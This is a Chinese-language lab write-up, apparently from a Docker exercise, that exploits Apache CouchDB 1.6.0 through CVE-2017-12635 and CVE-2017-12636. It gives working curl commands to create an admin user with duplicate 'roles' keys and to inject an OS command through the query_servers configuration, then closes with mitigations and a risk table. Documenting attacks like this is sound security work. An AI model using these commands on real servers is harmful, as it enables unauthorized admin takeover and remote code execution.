从环境中正在运行的内容开始。我列出所有活跃容器:
docker ps

受害者暴露单一端口:5984
⇒ 我直接对其使用curl以探测更多信息:
curl -i http://192.168.3.137:5984/

分析响应:
响应:HTTP/1.1 200 OK,证明端口5984上的服务处于活动状态,并且可以直接通过HTTP访问。
服务器标头:CouchDB/1.6.0 (Erlang OTP/17) 且 JSON主体包含"version":"1.6.0",确认这是 Apache CouchDB 1.6.0版本。
攻击面评估:
CouchDB服务通过端口5984暴露在外部。这是CouchDB HTTP API的默认端口,允许通过REST API进行数据库交互。
版本CouchDB 1.6.0是旧版本,早于1.7.1补丁。根据Apache文档,此范围内的CouchDB版本受以下影响:
roles键的处理不一致。=> 思考:从获得的响应中,有足够的证据确定受害者在端口5984上运行着Apache CouchDB 1.6.0。这是一个与CVE-2017-12635和CVE-2017-12636利用链相关的旧版本。因此,一个合理的利用路径是首先测试认证状态,然后评估通过CouchDB HTTP API进行权限提升或命令执行的潜力。
CVE-2017-12635利用了CouchDB中两个JSON解析器之间的差异。当发送一个用户文档到/_users,且包含两个重复的roles键时,CouchDB使用第二个roles键来检查文档的写入权限,但使用第一个roles键作为创建后用户的实际权限。因此,攻击者将第一个roles设置为["_admin"],第二个roles设置为[],以绕过验证检查,导致创建的用户拥有管理员权限。

根据CouchDB文档,CouchDB将用户信息存储在一个名为_users的特殊数据库中,每个用户文档的ID格式为org.couchdb.user:<username>。由于我们需要创建一个名为hacker的用户,使用的端点是/_users/org.couchdb.user:hacker。我创建一个新用户并赋予管理员权限,以查看服务器的响应。
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

返回的响应是true,证明用户创建成功。我使用新创建的admin凭据进行验证检查:curl -u hacker:password123 http://192.168.3.137:5984/_users。/_users端点是一个系统数据库,默认情况下只有管理员才能读取其元数据。如果由普通用户请求 → 403 Forbidden。而返回完整数据库信息的200 OK响应确认了hacker账户确实拥有_admin权限。这与Apache CouchDB 1.6.0上CVE-2017-12635的假设完全吻合。
总结:
我已在Apache CouchDB 1.6.0上成功验证了CVE-2017-12635。最初,端口5984仅显示CouchDB HTTP API已暴露。通过curl进行指纹识别后,响应确认该服务是CouchDB 1.6.0,属于CVE-2017-12635的漏洞影响范围。
我没有立即得出RCE可能的结论,而是先逐步验证了认证流程。通过向/_users发送包含两个重复roles键的用户文档,该载荷成功创建了用户hacker。随后,通过curl -u hacker:password123对/_users的请求返回了200 OK以及系统数据库详情,证明用户hacker确实拥有_admin权限。
因此,一旦获得CouchDB管理员权限,攻击面就扩展到CVE-2017-12636,因为管理员可以通过HTTP API更改CouchDB配置。这是进一步评估服务器远程代码执行能力的前提条件。
⇒ 思考: 使用新获得的管理员权限测试操作系统级命令执行。

根据Apache CouchDB文档,查询服务器是**CouchDB用于处理设计函数的外部进程,例如MapReduce机制中的JavaScript视图。当设计文档声明一个"language"字段时,CouchDB依赖该值在query_servers配置中查找对应的查询服务器**。
如果设计文档包含"language": "javascript",CouchDB会查询query_servers.javascript配置以确定启动哪个进程来处理map/reduce函数。这是CouchDB的合法设计,因为CouchDB核心不直接在数据库引擎内执行所有视图代码。
⇒ 问题在于CVE-2017-12636中,CouchDB管理员能够通过HTTP API修改服务器配置。其中一些配置包括操作系统级二进制文件或进程的路径,CouchDB将启动这些路径。因此,在通过CVE-2017-12635获得管理员权限后,攻击者可以修改query_servers.<language>以指向一个操作系统命令。当触发使用相应语言的视图时,CouchDB将生成该命令,导致在服务器上执行命令。
利用流程:
/_config端点将恶意配置写入query_servers.cmd。"language": "cmd"的设计文档。query_servers.cmd并生成配置的进程。写入恶意query_server配置
注册一个**"查询服务器"**,名称任意,值为操作系统命令:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
这是将由CouchDB进程生成的操作系统命令。
触发执行 — 创建数据库和文档
# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest
# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
-H "Content-Type: application/json" \
-d '{
"language": "cmd",
"views": {
"myview": {
"map": "function(doc){}"
}
}
}'
# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview
执行流程:
视图查询 → [HTTP PUT Config] -> [注入操作系统命令作为模拟查询语言]
→ [HTTP PUT Design Doc] -> [将处理属性分配给模拟查询语言]
→ [HTTP GET View] -> [强制CouchDB配置查找 -> 生成子进程执行命令]
→ [读取 /tmp/pwned] -> [确认成功执行权限(RCE)]
验证RCE:
docker exec project1-lab07-1 cat /tmp/pwned

思考: 该RCE攻击是盲/异步的,因为命令输出不会直接返回在HTTP响应中。因此,为了证明命令已执行,我使用了一个产生副作用的载荷,将id命令的输出写入/tmp/pwned文件。当在容器中读取/tmp/pwned文件并观察到输出uid=1000(couchdb) gid=999(couchdb)时,我们可以得出结论:CouchDB以**couchdb用户的权限成功执行了操作系统命令**。
结果uid=1000(couchdb)表明命令没有以root权限运行,而是以CouchDB进程的权限运行。这仍然足以证明CVE-2017-12636导致在服务权限范围内实现了远程代码执行。
系统上的JSON解析器不一致漏洞(CVE-2017-12635)与查询服务器注入(CVE-2017-12636)相结合,被评估为最高风险级别:
为彻底缓解这些漏洞,系统管理团队必须实施以下措施(按优先级排序):
local.ini配置文件中设置require_valid_user = true,以阻止所有匿名API访问。切勿在“管理派对”模式(即不存在管理员,所有人都成为管理员)下运行CouchDB。127.0.0.1。local.ini文件中使用config_whitelist来限制哪些配置键可以通过API修改,防止攻击者利用/_config/query_servers端点注入操作系统命令。| 评估标准 | 评估值 | 详情 |
|---|
| CVSS 分数 | 9.8(严重) | 接近最大值,仅需单个HTTP请求即可利用。 |
| 认证 | 不需要 | 攻击者不需要账户或登录。CVE-2017-12635允许远程创建管理员账户。 |
| 复杂性 | 非常低 | 只需向/_users端点发送一个包含重复"roles"键的JSON载荷的HTTP PUT请求。 |
| 获得的权限 | couchdb (uid=1000) | 以运行CouchDB的用户的权限生成操作系统命令,允许系统文件读写并访问所有数据库。 |
| 横向移动 | 高 | 从被攻陷的容器中,攻击者可以执行内部扫描(局域网)并针对同一Docker网络内的其他容器或主机。 |